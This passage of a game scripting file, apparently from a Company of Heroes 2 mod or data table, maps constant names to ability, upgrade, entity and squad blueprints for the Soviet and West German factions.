CMD_TANK_HUNTER_AMBUSH_TACTICS_MP = BP_GetAbilityBlueprint("cmd_tank_hunter_ambush_tactics_mp"), CMD_VEHICLE_CREW_REPAIR_TRAINING = BP_GetAbilityBlueprint("cmd_vehicle_crew_repair_training"), AIRBOURNE_RETREAT_POINT_MP = BP_GetAbilityBlueprint("airbourne_retreat_point_mp"), CONE_LOS_TOGGLE_ABILITY = BP_GetAbilityBlueprint("cone_los_toggle_ability"), CONE_LOS_TOGGLE_ABILITY_MP = BP_GetAbilityBlueprint("cone_los_toggle_ability_mp"), CONSCRIPT_EVASIVE_TACTICS = BP_GetAbilityBlueprint("conscript_evasive_tactics"), CONSCRIPT_EVASIVE_TACTICS_MP = BP_GetAbilityBlueprint("conscript_evasive_tactics_mp"), GUARD_HIT_THE_DIRT_MP = BP_GetAbilityBlueprint("guard_hit_the_dirt_mp"), KV_2_SEIGE_MODE = BP_GetAbilityBlueprint("kv-2_seige_mode"), KV_8_FLAME_45MM_TOGGLE_MP = BP_GetAbilityBlueprint("kv-8_flame_45mm_toggle_mp"), KV1_HULLDOWN_MP = BP_GetAbilityBlueprint("kv1_hulldown_mp"), M11_SNIPER_HOLD_FIRE = BP_GetAbilityBlueprint("m11_sniper_hold_fire"), M42_AT_GUN_AMBUSH_TACTICS_MP = BP_GetAbilityBlueprint("m42_at_gun_ambush_tactics_mp"), PENAL_LAST_MAN_UI_MP = BP_GetAbilityBlueprint("penal_last_man_ui_mp"), SNIPER_HOLD_FIRE = BP_GetAbilityBlueprint("sniper_hold_fire"), SNIPER_HOLD_FIRE_MP = BP_GetAbilityBlueprint("sniper_hold_fire_mp"), SOVIET_CAMO_HOLD_FIRE_MP = BP_GetAbilityBlueprint("soviet_camo_hold_fire_mp"), SOV_VEHICLE_HOLD_FIRE_MP = BP_GetAbilityBlueprint("sov_vehicle_hold_fire_mp"), T70_VET_POINT_CAPTURE_ABILITY_MP = BP_GetAbilityBlueprint("t70_vet_point_capture_ability_mp"), TANK_AMBUSH_MP = BP_GetAbilityBlueprint("tank_ambush_mp"), TANK_VET_POINT_CAPTURE_ABILITY = BP_GetAbilityBlueprint("tank_vet_point_capture_ability"), TANK_VET_POINT_CAPTURE_ABILITY_MP = BP_GetAbilityBlueprint("tank_vet_point_capture_ability_mp"), VEHICLE_CREW_REPAIR_TOGGLE_MP = BP_GetAbilityBlueprint("vehicle_crew_repair_toggle_mp"), VEHICLE_RECON_TOGGLE = BP_GetAbilityBlueprint("vehicle_recon_toggle"), VEHICLE_RECON_TOGGLE_MP = BP_GetAbilityBlueprint("vehicle_recon_toggle_mp"), VEHICLE_RECON_TOGGLE_VET2_MP = BP_GetAbilityBlueprint("vehicle_recon_toggle_vet2_mp"), AT_GUN_AMBUSH_TACTICS = BP_GetAbilityBlueprint("at_gun_ambush_tactics"), } UPG.SOVIET = { SOVIET_GRENADES_LONG_TIMER = BP_GetUpgradeBlueprint("soviet_grenades_long_timer"), ABILITY_LOCK_OUT_CONSCRIPT = BP_GetUpgradeBlueprint("ability_lock_out_conscript"), ABILITY_LOCK_OUT_CONSCRIPT_MP = BP_GetUpgradeBlueprint("ability_lock_out_conscript_mp"), ISU152_HE_ROUNDS = BP_GetUpgradeBlueprint("isu152_he_rounds"), TANK_RAID_ENABLED = BP_GetUpgradeBlueprint("tank_raid_enabled"), ISAKOVICH_A01 = BP_GetUpgradeBlueprint("isakovich_a01"), AIRBOURNE_GUARDS = BP_GetUpgradeBlueprint("airbourne_guards"), ALLIED_AIR_SUPPLIES = BP_GetUpgradeBlueprint("allied_air_supplies"), ANTI_TANK_OVERWATCH = BP_GetUpgradeBlueprint("anti_tank_overwatch"), BOOBY_TRAP = BP_GetUpgradeBlueprint("booby_trap"), CAMOUFLAGE_NET_ACTIVATED_SOVIET = BP_GetUpgradeBlueprint("camouflage_net_activated_soviet"), DEMO_IL_2_STRAFING_RUN = BP_GetUpgradeBlueprint("demo_il-2_strafing_run"), FEAR_PROPAGANDA = BP_GetUpgradeBlueprint("fear_propaganda"), FIRE_ARTILLERY = BP_GetUpgradeBlueprint("fire_artillery"), FORWARD_HQ = BP_GetUpgradeBlueprint("forward_hq"), FORWARD_HQ_AURA = BP_GetUpgradeBlueprint("forward_hq_aura"), FOR_MOTHER_RUSSIA = BP_GetUpgradeBlueprint("for_mother_russia"), HOLD_FIRE_SOVIET_CAMMO = BP_GetUpgradeBlueprint("hold_fire_soviet_cammo"), HOLD_THE_LINE = BP_GetUpgradeBlueprint("hold_the_line"), IL_2_ANTI_TANK_BOMB = BP_GetUpgradeBlueprint("il-2_anti_tank_bomb"), IL_2_BOMB_STRIKE = BP_GetUpgradeBlueprint("il-2_bomb_strike"), IL_2_RECON = BP_GetUpgradeBlueprint("il-2_recon"), IL_2_STURMOVIK_ATTACK = BP_GetUpgradeBlueprint("il-2_sturmovik_attack"), IL_2_STURMOVIK_ATTACK_ADVANCED = BP_GetUpgradeBlueprint("il-2_sturmovik_attack_advanced"), IL_2_STURMOVIK_ROCKET_RUN = BP_GetUpgradeBlueprint("il-2_sturmovik_rocket_run"), IL_2_STURMOVIK_ROCKET_STRAFE = BP_GetUpgradeBlueprint("il-2_sturmovik_rocket_strafe"), IL_2_SUPPORT = BP_GetUpgradeBlueprint("il-2_support"), M3_HALFTRACK_ASSAULT = BP_GetUpgradeBlueprint("m3_halftrack_assault"), MARK_VEHICLE = BP_GetUpgradeBlueprint("mark_vehicle"), ORDER_227_DISABLE = BP_GetUpgradeBlueprint("order_227_disable"), ORDER_227_LOCKDOWN = BP_GetUpgradeBlueprint("order_227_lockdown"), PARADROP_MACHINE_GUN_SOVIET = BP_GetUpgradeBlueprint("paradrop_machine_gun_soviet"), PARADROP_WEAPONS_SOVIET = BP_GetUpgradeBlueprint("paradrop_weapons_soviet"), RALLY_POINT = BP_GetUpgradeBlueprint("rally_point"), SCORCHED_EARTH_POLICY = BP_GetUpgradeBlueprint("scorched_earth_policy"), SCORCHED_EARTH_POLICY_MP = BP_GetUpgradeBlueprint("scorched_earth_policy_mp"), SCORCHED_EARTH_POLICY_NKVD_MP = BP_GetUpgradeBlueprint("scorched_earth_policy_nkvd_mp"), SHERMAN_SOVIET_DISPATCH = BP_GetUpgradeBlueprint("sherman_soviet_dispatch"), SPY_NETWORK = BP_GetUpgradeBlueprint("spy_network"), GUARD_ARCHETYPE = BP_GetUpgradeBlueprint("guard_archetype"), NKVD_ARCHETYPE = BP_GetUpgradeBlueprint("nkvd_archetype"), SHOCK_ARCHETYPE = BP_GetUpgradeBlueprint("shock_archetype"), TOW_1941_SOVIET = BP_GetUpgradeBlueprint("tow_1941_soviet"), ANTI_PERSONNEL_MINES = BP_GetUpgradeBlueprint("anti_personnel_mines"), ANTI_TANK_GUN_AMBUSH_TACTICS = BP_GetUpgradeBlueprint("anti_tank_gun_ambush_tactics"), ANTI_TANK_GUN_AMBUSH_TACTICS_TANK_HUNTER = BP_GetUpgradeBlueprint("anti_tank_gun_ambush_tactics_tank_hunter"), COMMISSAR_OFFICER_SQUAD = BP_GetUpgradeBlueprint("commissar_officer_squad"), COMMISSAR_SQUAD = BP_GetUpgradeBlueprint("commissar_squad"), CONSCRIPT_ASSAULT_PACKAGE = BP_GetUpgradeBlueprint("conscript_assault_package"), CONSCRIPT_ASSAULT_PACKAGE_INGAME = BP_GetUpgradeBlueprint("conscript_assault_package_ingame"), CONSCRIPT_AT_GRENADE_ASSAULT = BP_GetUpgradeBlueprint("conscript_at_grenade_assault"), CONSCRIPT_DP_28_LMG_PACKAGE = BP_GetUpgradeBlueprint("conscript_dp-28_lmg_package"), CONSCRIPT_EVASIVE_TACTICS = BP_GetUpgradeBlueprint("conscript_evasive_tactics"), CONSCRIPT_MOBILIZE_UNLOCK = BP_GetUpgradeBlueprint("conscript_mobilize_unlock"), CONSCRIPT_PTRS = BP_GetUpgradeBlueprint("conscript_ptrs"), CONSCRIPT_REPAIR_KIT = BP_GetUpgradeBlueprint("conscript_repair_kit"), DSHK_MACHINEGUN = BP_GetUpgradeBlueprint("dshk_machinegun"), DSHK_MACHINEGUN_PARADROP = BP_GetUpgradeBlueprint("dshk_machinegun_paradrop"), ENGINEER_SALVAGE_KITS_UNLOCK = BP_GetUpgradeBlueprint("engineer_salvage_kits_unlock"), EVASIVE_TACTICS_IS_ON = BP_GetUpgradeBlueprint("evasive_tactics_is_on"), GUARD_TROOPS = BP_GetUpgradeBlueprint("guard_troops"), HM120_MORTAR_UNLOCK = BP_GetUpgradeBlueprint("hm120_mortar_unlock"), HOWTIZER_203MM = BP_GetUpgradeBlueprint("howtizer_203mm"), IS_2_SUPPORT = BP_GetUpgradeBlueprint("is-2_support"), ISU152_UNLOCK = BP_GetUpgradeBlueprint("isu152_unlock"), KATYUSHA_UNLOCK = BP_GetUpgradeBlueprint("katyusha_unlock"), KV_1_UNLOCK_DEMO = BP_GetUpgradeBlueprint("kv-1_unlock_demo"), KV_8_UNLOCK = BP_GetUpgradeBlueprint("kv-8_unlock"), KV1_UNLOCK = BP_GetUpgradeBlueprint("kv1_unlock"), KV2_UNLOCK = BP_GetUpgradeBlueprint("kv2_unlock"), LIGHT_ANTI_VEHICLE_MINES = BP_GetUpgradeBlueprint("light_anti_vehicle_mines"), M_42_AT_GUN = BP_GetUpgradeBlueprint("m-42_at_gun"), MANPOWER_BLITZ = BP_GetUpgradeBlueprint("manpower_blitz"), ML_20_HOWITZER_UNLOCK = BP_GetUpgradeBlueprint("ml_20_howitzer_unlock"), ORDER227 = BP_GetUpgradeBlueprint("order227"), PARTISAN_COMMANDER_ANTIVEHICLE_TROOPS = BP_GetUpgradeBlueprint("partisan_commander_antivehicle_troops"), PARTISAN_COMMANDER_TROOPS = BP_GetUpgradeBlueprint("partisan_commander_troops"), PARTISAN_TROOPS = BP_GetUpgradeBlueprint("partisan_troops"), PARTISAN_TROOPS_TOW = BP_GetUpgradeBlueprint("partisan_troops_tow"), PENAL_BATTALION = BP_GetUpgradeBlueprint("penal_battalion"), RADIO_INTERCEPT = BP_GetUpgradeBlueprint("radio_intercept"), RAPID_CONSCRIPTION = BP_GetUpgradeBlueprint("rapid_conscription"), REPAIR_BUNKER = BP_GetUpgradeBlueprint("repair_bunker"), SHOCK_TROOPS = BP_GetUpgradeBlueprint("shock_troops"), SHOCK_TROOPS_SP = BP_GetUpgradeBlueprint("shock_troops_sp"), SOVIET_INDUSTRY = BP_GetUpgradeBlueprint("soviet_industry"), T34_85_ADVANCED_UNLOCK = BP_GetUpgradeBlueprint("t34_85_advanced_unlock"), T34_85_UNLOCK = BP_GetUpgradeBlueprint("t34_85_unlock"), TANK_DETECTION = BP_GetUpgradeBlueprint("tank_detection"), TANK_TRAPS = BP_GetUpgradeBlueprint("tank_traps"), VEHICLE_SELF_REPAIR_TRAINING = BP_GetUpgradeBlueprint("vehicle_self_repair_training"), BASE_CONSCRIPT_AT_GRENADE_UNLOCK = BP_GetUpgradeBlueprint("base_conscript_at_grenade_unlock"), BASE_CONSCRIPT_AT_GRENADE_UNLOCK_MP = BP_GetUpgradeBlueprint("base_conscript_at_grenade_unlock_mp"), BASE_CONSCRIPT_MOLOTOV_UNLOCK = BP_GetUpgradeBlueprint("base_conscript_molotov_unlock"), BASE_CONSCRIPT_MOLOTOV_UNLOCK_MP = BP_GetUpgradeBlueprint("base_conscript_molotov_unlock_mp"), BASE_CONSCRIPT_OORAH_UNLOCK = BP_GetUpgradeBlueprint("base_conscript_oorah_unlock"), BASE_CONSCRIPT_OORAH_UNLOCK_MP = BP_GetUpgradeBlueprint("base_conscript_oorah_unlock_mp"), BASE_CONSCRIPT_REPAIR_UNLOCK_MP = BP_GetUpgradeBlueprint("base_conscript_repair_unlock_mp"), BASE_CONSCRIPT_RIFLE_UNLOCK_MP = BP_GetUpgradeBlueprint("base_conscript_rifle_unlock_mp"), CONSCRIPT_PTRS_PACKAGE = BP_GetUpgradeBlueprint("conscript_ptrs_package"), ENGINEER_FLAMETHROWER = BP_GetUpgradeBlueprint("engineer_flamethrower"), ENGINEER_FLAMETHROWER_MP = BP_GetUpgradeBlueprint("engineer_flamethrower_mp"), ENGINEER_MINESWEEPER = BP_GetUpgradeBlueprint("engineer_minesweeper"), ENGINEER_MINESWEEPER_MP = BP_GetUpgradeBlueprint("engineer_minesweeper_mp"), ENGINEER_SALVAGE_KIT = BP_GetUpgradeBlueprint("engineer_salvage_kit"), GUARD_AIRBOURNE_DP_28_LMG_PACKAGE_MP = BP_GetUpgradeBlueprint("guard_airbourne_dp-28_lmg_package_mp"), GUARD_DP_28_LMG_PACKAGE = BP_GetUpgradeBlueprint("guard_dp-28_lmg_package"), GUARD_DP_28_LMG_PACKAGE_1_MP = BP_GetUpgradeBlueprint("guard_dp-28_lmg_package_1_mp"), GUARD_DP_28_LMG_PACKAGE_AIRBOURNE_1_MP = BP_GetUpgradeBlueprint("guard_dp-28_lmg_package_airbourne_1_mp"), GUARD_DP_28_LMG_PACKAGE_AIRBOURNE_2_MP = BP_GetUpgradeBlueprint("guard_dp-28_lmg_package_airbourne_2_mp"), GUARD_DP_28_LMG_PACKAGE_MP = BP_GetUpgradeBlueprint("guard_dp-28_lmg_package_mp"), GUARD_PTRS_PACKAGE_1_MP = BP_GetUpgradeBlueprint("guard_ptrs_package_1_mp"), GUARD_PTRS_PACKAGE_2_MP = BP_GetUpgradeBlueprint("guard_ptrs_package_2_mp"), IS2_TOP_GUNNER = BP_GetUpgradeBlueprint("is2_top_gunner"), IS2_TOP_GUNNER_MP = BP_GetUpgradeBlueprint("is2_top_gunner_mp"), ISU152_TOP_GUNNER = BP_GetUpgradeBlueprint("isu152_top_gunner"), ISU152_TOP_GUNNER_MP = BP_GetUpgradeBlueprint("isu152_top_gunner_mp"), M5_HALFTRACK_72K_AA_GUN_PACKAGE = BP_GetUpgradeBlueprint("m5_halftrack_72k_aa_gun_package"), M5_HALFTRACK_72K_AA_GUN_PACKAGE_MP = BP_GetUpgradeBlueprint("m5_halftrack_72k_aa_gun_package_mp"), MOBILIZE_RESERVES_CONSCRIPT = BP_GetUpgradeBlueprint("mobilize_reserves_conscript"), PARTISAN_HEALTH_UPGRADE = BP_GetUpgradeBlueprint("partisan_health_upgrade"), PARTISAN_HEALTH_UPGRADE_TANK_HUNTER = BP_GetUpgradeBlueprint("partisan_health_upgrade_tank_hunter"), PENAL_BATTALION_FLAMETHROWER_PACKAGE = BP_GetUpgradeBlueprint("penal_battalion_flamethrower_package"), PENAL_BATTALION_FLAMETHROWER_PACKAGE_MP = BP_GetUpgradeBlueprint("penal_battalion_flamethrower_package_mp"), PENAL_PTRS_PACKAGE_1_MP = BP_GetUpgradeBlueprint("penal_ptrs_package_1_mp"), PENAL_PTRS_PACKAGE_2_MP = BP_GetUpgradeBlueprint("penal_ptrs_package_2_mp"), PPSH_41_SUB_AIRBOURNE_UPGRADE_MP = BP_GetUpgradeBlueprint("ppsh-41_sub_airbourne_upgrade_mp"), PPSH_41_SUB_MACHINE_GUN_UPGRADE = BP_GetUpgradeBlueprint("ppsh-41_sub_machine_gun_upgrade"), PPSH_41_SUB_MACHINE_GUN_UPGRADE_MP = BP_GetUpgradeBlueprint("ppsh-41_sub_machine_gun_upgrade_mp"), PTRS_41_AT_RIFLE_PACKAGE_GUARD_TROOP = BP_GetUpgradeBlueprint("ptrs_41_at_rifle_package_guard_troop"), PTRS_41_AT_RIFLE_PACKAGE_GUARD_TROOP_ASSAULT_MP = BP_GetUpgradeBlueprint("ptrs_41_at_rifle_package_guard_troop_assault_mp"), PTRS_41_AT_RIFLE_PACKAGE_GUARD_TROOP_BETTER_BALANCED = BP_GetUpgradeBlueprint("ptrs_41_at_rifle_package_guard_troop_better_balanced"), PTRS_41_AT_RIFLE_PACKAGE_GUARD_TROOP_MP = BP_GetUpgradeBlueprint("ptrs_41_at_rifle_package_guard_troop_mp"), SHERMAN_SOVIET_TOP_GUNNER = BP_GetUpgradeBlueprint("sherman_soviet_top_gunner"), SVT_PACKAGE_AIRDROP = BP_GetUpgradeBlueprint("svt_package_airdrop"), COMMANDER_T34_85_MP = BP_GetUpgradeBlueprint("commander_t34_85_mp"), GENERIC_MINE_LAYING_STATE = BP_GetUpgradeBlueprint("generic_mine_laying_state"), HQ_ANTI_TANK_GRENADE = BP_GetUpgradeBlueprint("hq_anti_tank_grenade"), HQ_ANTI_TANK_GRENADE_MP = BP_GetUpgradeBlueprint("hq_anti_tank_grenade_mp"), HQ_CONSCRIPT_REPAIR_KIT = BP_GetUpgradeBlueprint("hq_conscript_repair_kit"), HQ_HEALING_AURA = BP_GetUpgradeBlueprint("hq_healing_aura"), HQ_HEALING_AURA_M13 = BP_GetUpgradeBlueprint("hq_healing_aura_m13"), HQ_HEALING_AURA_MP = BP_GetUpgradeBlueprint("hq_healing_aura_mp"), HQ_MOLOTOV_GRENADE_MP = BP_GetUpgradeBlueprint("hq_molotov_grenade_mp"), MOBILIZE_RESERVES_MP = BP_GetUpgradeBlueprint("mobilize_reserves_mp"), SOVIET_T4_BUILT_MP = BP_GetUpgradeBlueprint("soviet_t4_built_mp"), } EBP.WEST_GERMAN = { HEAVY_ARMOR_SUPPORT_MP = BP_GetEntityBlueprint("heavy_armor_support_mp"), INFANTRY_SUPPORT_MP = BP_GetEntityBlueprint("infantry_support_mp"), LIGHT_ARMOR_SUPPORT_MP = BP_GetEntityBlueprint("light_armor_support_mp"), WEST_GERMAN_BASE_STAMPER = BP_GetEntityBlueprint("west_german_base_stamper"), WEST_GERMAN_HQ_MP = BP_GetEntityBlueprint("west_german_hq_mp"), WEST_GERMAN_HQ_WRECK_MP = BP_GetEntityBlueprint("west_german_hq_wreck_mp"), WEST_GERMAN_COMMAND_POST_BARREL = BP_GetEntityBlueprint("west_german_command_post_barrel"), WEST_GERMAN_COMMAND_POST_CRATES_01 = BP_GetEntityBlueprint("west_german_command_post_crates_01"), WEST_GERMAN_COMMAND_POST_CRATES_02 = BP_GetEntityBlueprint("west_german_command_post_crates_02"), WEST_GERMAN_COMMAND_POST_GENERATOR = BP_GetEntityBlueprint("west_german_command_post_generator"), WEST_GERMAN_COMMAND_POST_SANDBAG_01 = BP_GetEntityBlueprint("west_german_command_post_sandbag_01"), WEST_GERMAN_COMMAND_POST_SANDBAG_02 = BP_GetEntityBlueprint("west_german_command_post_sandbag_02"), ASSAULT_PIONEERS_HEAVY_MINE_MP = BP_GetEntityBlueprint("assault_pioneers_heavy_mine_mp"), BASE_FLAK_GUN_MP = BP_GetEntityBlueprint("base_flak_gun_mp"), BASE_FLAK_SANDBAGS = BP_GetEntityBlueprint("base_flak_sandbags"), FLAK_EMPLACEMENT = BP_GetEntityBlueprint("flak_emplacement"), FLAK_EMPLACEMENT_BASE = BP_GetEntityBlueprint("flak_emplacement_base"), MED_SUPPLY_STASH = BP_GetEntityBlueprint("med_supply_stash"), MINE_FIELD_WESTGERMAN_MP = BP_GetEntityBlueprint("mine_field_westgerman_mp"), REINFORCED_BARBED_WIRE_FENCE_MP = BP_GetEntityBlueprint("reinforced_barbed_wire_fence_mp"), REINFORCED_BARBED_WIRE_FENCE__CONSTRUCTION__MP = BP_GetEntityBlueprint("reinforced_barbed_wire_fence__construction__mp"), REINFORCED_BARBED_WIRE_TANK_TRAP_MP = BP_GetEntityBlueprint("reinforced_barbed_wire_tank_trap_mp"), SCHU_MINE_42_MP = BP_GetEntityBlueprint("schu_mine_42_mp"), SIPHON_STRUCTURE = BP_GetEntityBlueprint("siphon_structure"), WEST_GERMAN_INVISI_REPAIR_STATION_MP = BP_GetEntityBlueprint("west_german_invisi_repair_station_mp"), WG_BARBED_WIRE_FENCE_MP = BP_GetEntityBlueprint("wg_barbed_wire_fence_mp"), WG_SANDBAG_FENCE_MP = BP_GetEntityBlueprint("wg_sandbag_fence_mp"), WG_SANDBAG_FENCE__CONSTRUCTION__MP = BP_GetEntityBlueprint("wg_sandbag_fence__construction__mp"), BUNKER_WESTGERMAN_MP = BP_GetEntityBlueprint("bunker_westgerman_mp"), BUNKER_WESTGERMAN__CONSTRUCTION__MP = BP_GetEntityBlueprint("bunker_westgerman__construction__mp"), HEAVY_ARMOR_SUPPORT_PREPLACED = BP_GetEntityBlueprint("heavy_armor_support_preplaced"), INFANTRY_SUPPORT_PREPLACED = BP_GetEntityBlueprint("infantry_support_preplaced"), LIGHT_ARMOR_SUPPORT_PREPLACED = BP_GetEntityBlueprint("light_armor_support_preplaced"), HOWITZER_105MM_LE_FH18_MINICHALLENGE = BP_GetEntityBlueprint("howitzer_105mm_le_fh18_minichallenge"), HOWITZER_105MM_LONG_RANGE = BP_GetEntityBlueprint("howitzer_105mm_long_range"), ARMORED_CAR_SDKFZ_223 = BP_GetEntityBlueprint("armored_car_sdkfz_223"), ASSAULT_PIONEER_MP = BP_GetEntityBlueprint("assault_pioneer_mp"), FALLSCHIRMJAGER_MP = BP_GetEntityBlueprint("fallschirmjager_mp"), FIELD_OFFICER_MP = BP_GetEntityBlueprint("field_officer_mp"), TERROR_OFFICER_GUARD_MP = BP_GetEntityBlueprint("terror_officer_guard_mp"), TERROR_OFFICER_MP = BP_GetEntityBlueprint("terror_officer_mp"), JAEGER_LIGHT_INFANTRY_RECON = BP_GetEntityBlueprint("jaeger_light_infantry_recon"), OBERSOLDATEN_MP = BP_GetEntityBlueprint("obersoldaten_mp"), PANZERFUSILIER_MP = BP_GetEntityBlueprint("panzerfusilier_mp"), URBAN_ASSAULT_LIGHT_INFANTRY = BP_GetEntityBlueprint("urban_assault_light_infantry"), VOLKSGRENADIER_MP = BP_GetEntityBlueprint("volksgrenadier_mp"), ANTI_TANK_GUN_CREW_MP = BP_GetEntityBlueprint("anti_tank_gun_crew_mp"), ARTY_CREW_MP = BP_GetEntityBlueprint("arty_crew_mp"), FLAK_EMPLACEMENT_CREW = BP_GetEntityBlueprint("flak_emplacement_crew"), FLAK_EMPLACEMENT_CREW_BASE = BP_GetEntityBlueprint("flak_emplacement_crew_base"), HMG_CREW_MP = BP_GetEntityBlueprint("hmg_crew_mp"), MG34_HMG_CREW = BP_GetEntityBlueprint("mg34_hmg_crew"), MORTAR_TEAM_CREW_MP = BP_GetEntityBlueprint("mortar_team_crew_mp"), OKW_HOWITZER_CREW_MP = BP_GetEntityBlueprint("okw_howitzer_crew_mp"), GRANATWERFER_34_81MM_MORTAR_WG_MP = BP_GetEntityBlueprint("granatwerfer_34_81mm_mortar_wg_mp"), MG34_HMG_MP = BP_GetEntityBlueprint("mg34_hmg_mp"), MG42_HMG_WG_MP = BP_GetEntityBlueprint("mg42_hmg_wg_mp"), PAK40_75MM_AT_GUN_WG_MP = BP_GetEntityBlueprint("pak40_75mm_at_gun_wg_mp"), PAK43_88MM_AT_GUN_WESTGERMAN_MP = BP_GetEntityBlueprint("pak43_88mm_at_gun_westgerman_mp"), RAKETENWERFER43_88MM_PUPPCHEN_ANTITANK_GUN_MP = BP_GetEntityBlueprint("raketenwerfer43_88mm_puppchen_antitank_gun_mp"), OKW_HOWITZER_105MM_LE_FH18_MP = BP_GetEntityBlueprint("okw_howitzer_105mm_le_fh18_mp"), LE_IG_18_INF_SUPPORT_GUN_MP = BP_GetEntityBlueprint("le_ig_18_inf_support_gun_mp"), ARMORED_CAR_SDKFZ_221_MP = BP_GetEntityBlueprint("armored_car_sdkfz_221_mp"), GOLIATH_MP = BP_GetEntityBlueprint("goliath_mp"), HALFTRACK_SDKFZ_251_17_FLAK_MP = BP_GetEntityBlueprint("halftrack_sdkfz_251_17_flak_mp"), HALFTRACK_SDKFZ_251_20_IR_SEARCHLIGHT_MP = BP_GetEntityBlueprint("halftrack_sdkfz_251_20_ir_searchlight_mp"), HALFTRACK_SDKFZ_251_20_IR_SEARCHLIGHT_SP = BP_GetEntityBlueprint("halftrack_sdkfz_251_20_ir_searchlight_sp"), HALFTRACK_SDKFZ_251_MP_2 = BP_GetEntityBlueprint("halftrack_sdkfz_251_mp_2"), HALFTRACK_SDKFZ_251_WURFRAHMEN_40_MP = BP_GetEntityBlueprint("halftrack_sdkfz_251_wurfrahmen_40_mp"), HETZER_MP = BP_GetEntityBlueprint("hetzer_mp"), JAGDPANZER_IV_SDKFZ_162_MP = BP_GetEntityBlueprint("jagdpanzer_iv_sdkfz_162_mp"), JAGDTIGER_SDKFZ_186_MP = BP_GetEntityBlueprint("jagdtiger_sdkfz_186_mp"), KING_TIGER_SDKFZ_182_MP = BP_GetEntityBlueprint("king_tiger_sdkfz_182_mp"), KUBELWAGEN_TYPE_82_MP = BP_GetEntityBlueprint("kubelwagen_type_82_mp"), OPEL_BLITZ_SUPPLY_TRUCK_WEST_GERMAN_MP = BP_GetEntityBlueprint("opel_blitz_supply_truck_west_german_mp"), OSTWIND_FLAK_PANZER_WEST_GERMAN_MP = BP_GetEntityBlueprint("ostwind_flak_panzer_west_german_mp"), PANTHER_SDKFZ_171_COMMANDER_MP = BP_GetEntityBlueprint("panther_sdkfz_171_commander_mp"), PANTHER_SDKFZ_171_AUSF_G_MP = BP_GetEntityBlueprint("panther_sdkfz_171_ausf_g_mp"), PANZER_II_LUCHS_SDKFZ_123_MP = BP_GetEntityBlueprint("panzer_ii_luchs_sdkfz_123_mp"), PANZER_IV_SDKFZ_AUSF_J_MP = BP_GetEntityBlueprint("panzer_iv_sdkfz_ausf_j_mp"), JU52_PARATROOPER_PLANE = BP_GetEntityBlueprint("ju52_paratrooper_plane"), JU52_PLANE = BP_GetEntityBlueprint("ju52_plane"), TACTICAL_BOMBER_SECTOR_ASSAULT = BP_GetEntityBlueprint("tactical_bomber_sector_assault"), PUMA_SDKFZ_234_MP = BP_GetEntityBlueprint("puma_sdkfz_234_mp"), STURMTIGER_606_38CM_RW_61_MP = BP_GetEntityBlueprint("sturmtiger_606_38cm_rw_61_mp"), SWS_HALFTRACK_MP = BP_GetEntityBlueprint("sws_halftrack_mp"), SWS_HALFTRACK_SP = BP_GetEntityBlueprint("sws_halftrack_sp"), WEST_GERMAN_TIGER_SDKFZ_181_MP = BP_GetEntityBlueprint("west_german_tiger_sdkfz_181_mp"), } SBP.WEST_GERMAN = { HOWITZER_105MM_LE_FH18_ARTILLERY_MINICHALLENGE = BP_GetSquadBlueprint("howitzer_105mm_le_fh18_artillery_minichallenge"), HOWITZER_105MM_LONG_RANGE = BP_GetSquadBlueprint("howitzer_105mm_long_range"), SCOUTCAR_223_SQUAD = BP_GetSquadBlueprint("scoutcar_223_squad"), ASSAULT_PIONEER_SQUAD_MP = BP_GetSquadBlueprint("assault_pioneer_squad_mp"), FALLSCHIRMJAGER_SQUAD_MP = BP_GetSquadBlueprint("fallschirmjager_squad_mp"), FIELD_OFFICER_SQUAD_MP = BP_GetSquadBlueprint("field_officer_squad_mp"), TERROR_OFFICER_SQUAD_MP = BP_GetSquadBlueprint("terror_officer_squad_mp"), JAEGER_LIGHT_INFANTRY_RECON_SQUAD_MP = BP_GetSquadBlueprint("jaeger_light_infantry_recon_squad_mp"), OBERSOLDATEN_SQUAD_MP = BP_GetSquadBlueprint("obersoldaten_squad_mp"), PANZERFUSILIER_SQUAD_MP = BP_GetSquadBlueprint("panzerfusilier_squad_mp"), URBAN_ASSAULT_LIGHT_INFANTRY = BP_GetSquadBlueprint("urban_assault_light_infantry"), VOLKSGRENADIER_SQUAD_MP = BP_GetSquadBlueprint("volksgrenadier_squad_mp"), PAK40_75MM_AT_GUN_SQUAD_WG_MP = BP_GetSquadBlueprint("pak40_75mm_at_gun_squad_wg_mp"), RAKETENWERFER43_88MM_PUPPCHEN_ANTITANK_GUN_SQUAD_MP = BP_GetSquadBlueprint("raketenwerfer43_88mm_puppchen_antitank_gun_squad_mp"), FLAK_EMPLACEMENT = BP_GetSquadBlueprint("flak_emplacement"), FLAK_EMPLACEMENT_BASE = BP_GetSquadBlueprint("flak_emplacement_base"), GRW34_81MM_MORTAR_SQUAD_MP = BP_GetSquadBlueprint("grw34_81mm_mortar_squad_mp"), LE_IG_18_INF_SUPPORT_GUN_SQUAD_MP = BP_GetSquadBlueprint("le_ig_18_inf_support_gun_squad_mp"), MG34_HEAVY_MACHINE_GUN_SQUAD_MP = BP_GetSquadBlueprint("mg34_heavy_machine_gun_squad_mp"), MG42_HEAVY_MACHINE_GUN_SQUAD_WG_MP = BP_GetSquadBlueprint("mg42_heavy_machine_gun_squad_wg_mp"), PAK43_88MM_AT_GUN_SQUAD_WESTGERMAN_MP = BP_GetSquadBlueprint("pak43_88mm_at_gun_squad_westgerman_mp"), GOLIATH_MP = BP_GetSquadBlueprint("goliath_mp"), MORTAR_250_HALFTRACK_SQUAD_WESTGERMAN_MP = BP_GetSquadBlueprint("mortar_250_halftrack_squad_westgerman_mp"), SDKFZ_251_17_FLAK_HALFTRACK_SQUAD_MP = BP_GetSquadBlueprint("sdkfz_251_17_flak_halftrack_squad_mp"), SDKFZ_251_20_IR_SEARCHLIGHT_HALFTRACK_SQUAD_MP = BP_GetSquadBlueprint("sdkfz_251_20_ir_searchlight_halftrack_squad_mp"), SDKFZ_251_20_IR_SEARCHLIGHT_HALFTRACK_SQUAD_SP = BP_GetSquadBlueprint("sdkfz_251_20_ir_searchlight_halftrack_squad_sp"), SDKFZ_251_HALFTRACK_SQUAD_MP_2 = BP_GetSquadBlueprint("sdkfz_251_halftrack_squad_mp_2"), SDKFZ_251_WURFRAHMEN_40_HALFTRACK_SQUAD_MP = BP_GetSquadBlueprint("sdkfz_251_wurfrahmen_40_halftrack_squad_mp"), HETZER_SQUAD_MP = BP_GetSquadBlueprint("hetzer_squad_mp"), OKW_HOWITZER_105MM_LE_FH18_ARTILLERY_MP = BP_GetSquadBlueprint("okw_howitzer_105mm_le_fh18_artillery_mp"), JAGDPANZER_TANK_DESTROYER_SQUAD_MP = 